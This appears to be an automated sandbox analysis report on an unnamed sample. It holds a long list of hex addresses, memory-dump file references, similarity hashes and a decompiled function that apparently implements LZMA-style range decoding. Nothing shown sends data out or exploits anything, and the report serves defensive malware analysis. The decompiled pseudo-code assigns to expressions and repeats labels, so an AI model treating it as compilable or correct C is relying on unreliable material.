0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x00000000
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00406690
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00000000
0x00406696
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406617
0x00406614
0x00000000
0x00406369

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 204a14aa4723f8bacec733d7555320540fe203445ac57d520a52ca53e11fdb0c
Instruction ID: aa40489b15165fca9e2d73c9723ecf3d5b4a768092768a0400057c9dc9ec6b69
Opcode Fuzzy Hash: 204a14aa4723f8bacec733d7555320540fe203445ac57d520a52ca53e11fdb0c
Instruction Fuzzy Hash: F6714471D04229CFDF28CF98C844BAEBBB1FB44305F25816AD816BB281D7785A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004062B1, Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004062B1() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
